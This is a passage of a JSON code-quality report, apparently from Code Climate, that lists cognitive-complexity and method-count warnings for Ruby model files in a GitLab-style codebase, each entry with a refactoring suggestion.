`scoped_variables` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"e310e4c57a2e9123f26a1cbcec9809eb","location":{"path":"app/models/ci/build.rb","lines":{"begin":312,"end":327}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `predefined_variables` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"13282d4d569e2daa02632e5249568733","location":{"path":"app/models/ci/build.rb","lines":{"begin":726,"end":745}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `legacy_variables` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"81e2fd25bb2dd91faed640216e965698","location":{"path":"app/models/ci/build.rb","lines":{"begin":747,"end":759}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `persisted_environment_variables` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"67327cbc303019830fbd1d6586dcde3e","location":{"path":"app/models/ci/build.rb","lines":{"begin":761,"end":772}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `Build` has 100 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"736c24725c78f957ee4538a1ef73cab0","location":{"path":"app/models/ci/build.rb","lines":{"begin":4,"end":808}},"other_locations":[],"remediation_points":9200000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `status` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"c700cdde3d0b6292dd18227b3e90cf8d","location":{"path":"app/models/ci/runner.rb","lines":{"begin":179,"end":187}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `Runner` has 31 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"a9c3d8a2409fd9c5506a846374c16d42","location":{"path":"app/models/ci/runner.rb","lines":{"begin":4,"end":320}},"other_locations":[],"remediation_points":2300000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `Discussion` has 23 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"21189089f43b68ee94981dbac970d566","location":{"path":"app/models/discussion.rb","lines":{"begin":6,"end":138}},"other_locations":[],"remediation_points":1500000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `milestone_format_reference` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"0e735e47b6b8a533b9ff579e13b277c9","location":{"path":"app/models/milestone.rb","lines":{"begin":261,"end":273}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `Milestone` has 26 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"283d777de6e0e7974ccbb1e316f5fd1a","location":{"path":"app/models/milestone.rb","lines":{"begin":3,"end":288}},"other_locations":[],"remediation_points":1800000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"0d0fba50527ad864dc4649245f95f1bf","location":{"path":"app/models/project_services/drone_ci_service.rb","lines":{"begin":22,"end":31}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `calculate_reactive_cache` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"aa74471515edc43c1ab5339ddf68e505","location":{"path":"app/models/project_services/drone_ci_service.rb","lines":{"begin":53,"end":74}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 11 (exceeds 5 allowed). Consider refactoring.","fingerprint":"0a0446e31eb4d865b34fe5938f53bbad","location":{"path":"app/models/project_services/chat_notification_service.rb","lines":{"begin":52,"end":79}},"other_locations":[],"remediation_points":750000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `get_message` has a Cognitive Complexity of 11 (exceeds 5 allowed). Consider refactoring.","fingerprint":"07a9999f0d84368d5983e08e2891f237","location":{"path":"app/models/project_services/chat_notification_service.rb","lines":{"begin":111,"end":126}},"other_locations":[],"remediation_points":750000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `notify_for_ref?` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"6a030ca161112b5f434986ab0ae88c0f","location":{"path":"app/models/project_services/chat_notification_service.rb","lines":{"begin":159,"end":171}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `ChatNotificationService` has 23 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"5d159cd60a69a3f1a1b5beb530264825","location":{"path":"app/models/project_services/chat_notification_service.rb","lines":{"begin":5,"end":183}},"other_locations":[],"remediation_points":1500000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `read_commit_status` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"69dbb9ff98b20cc8db3a809b7e239e5f","location":{"path":"app/models/project_services/mock_ci_service.rb","lines":{"begin":70,"end":84}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `KubernetesService` has 25 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"2e6c7a0448e9bb4e799cb7efe0846fc7","location":{"path":"app/models/project_services/kubernetes_service.rb","lines":{"begin":8,"end":251}},"other_locations":[],"remediation_points":1700000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `read_commit_status` has a Cognitive Complexity of 11 (exceeds 5 allowed). Consider refactoring.","fingerprint":"8fb7749a6cc98bccd8d5712c1d499494","location":{"path":"app/models/project_services/teamcity_service.rb","lines":{"begin":112,"end":132}},"other_locations":[],"remediation_points":750000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `initialize_properties` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"a965dd277aee3504a57790eb7271cadb","location":{"path":"app/models/project_services/issue_tracker_service.rb","lines":{"begin":52,"end":69}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `buildkite_endpoint` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"161d47385d79643f9414ed2ad67502a9","location":{"path":"app/models/project_services/buildkite_service.rb","lines":{"begin":106,"end":119}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"42914696303830e3d209925e13650d83","location":{"path":"app/models/project_services/pushover_service.rb","lines":{"begin":67,"end":104}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `fields` has 39 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"773d8cd6842c7b74f60e9ab8003ad977","location":{"path":"app/models/project_services/pushover_service.rb","lines":{"begin":21,"end":61}},"other_locations":[],"remediation_points":936000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `execute` has 29 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"7b760b5c22532a27dbd776328b7db9a6","location":{"path":"app/models/project_services/pushover_service.rb","lines":{"begin":67,"end":104}},"other_locations":[],"remediation_points":696000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"802d66c5bd557b6f1bdd32240846e4c2","location":{"path":"app/models/project_services/pipelines_email_service.rb","lines":{"begin":28,"end":38}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `jira_service.rb` has 261 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"c5f438f6b31722193eb4e10b389655b6","location":{"path":"app/models/project_services/jira_service.rb","lines":{"begin":3,"end":344}},"other_locations":[],"remediation_points":1358400,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `close_issue` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"f74475ea9bd04b9ed8ff7ddcc5c29633","location":{"path":"app/models/project_services/jira_service.rb","lines":{"begin":117,"end":135}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `create_cross_reference_note` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"6c27b1c9b77bd4f2d2f11a294e90cf36","location":{"path":"app/models/project_services/jira_service.rb","lines":{"begin":137,"end":167}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `JiraService` has 35 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"2d0643b626f1ad53bf43aadedd954eae","location":{"path":"app/models/project_services/jira_service.rb","lines":{"begin":3,"end":344}},"other_locations":[],"remediation_points":2700000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `read_commit_status` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"f2f5469088e256c3b81eccc8ecaf967b","location":{"path":"app/models/project_services/bamboo_service.rb","lines":{"begin":94,"end":112}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `create_message` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"fcb9db20f4fe6adda5925e7da947a943","location":{"path":"app/models/project_services/hipchat_service.rb","lines":{"begin":85,"end":100}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `create_push_message` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"7f972562d25c4198e75c8dac6931a928","location":{"path":"app/models/project_services/hipchat_service.rb","lines":{"begin":106,"end":138}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `HipchatService` has 27 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"bb12852ed6419e4dea808d1d873302a1","location":{"path":"app/models/project_services/hipchat_service.rb","lines":{"begin":3,"end":311}},"other_locations":[],"remediation_points":1900000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `create_note_message` has 39 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"96500251c9498d9f1e9c7da0c8384528","location":{"path":"app/models/project_services/hipchat_service.rb","lines":{"begin":200,"end":244}},"other_locations":[],"remediation_points":936000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `format_channel` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"e064d1923f5ef24f603e3c03af81644f","location":{"path":"app/models/project_services/irker_service.rb","lines":{"begin":93,"end":112}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `check_commit` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"d6ee148a09cf8c383948472d577bfb74","location":{"path":"app/models/project_services/asana_service.rb","lines":{"begin":81,"end":108}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `Namespace` has 34 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"411d817f1a6db72f360bb2cb93e055ec","location":{"path":"app/models/namespace.rb","lines":{"begin":3,"end":302}},"other_locations":[],"remediation_points":2600000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `application_setting.rb` has 387 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"50270695e6d7c5163050078e7cf65e18","location":{"path":"app/models/application_setting.rb","lines":{"begin":3,"end":489}},"other_locations":[],"remediation_points":3172800,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `ApplicationSetting` has 38 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"02be76880912851331582ab14ef56dd4","location":{"path":"app/models/application_setting.rb","lines":{"begin":3,"end":489}},"other_locations":[],"remediation_points":3000000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `defaults` has 76 lines of code (exceeds 25 allowed). Consider 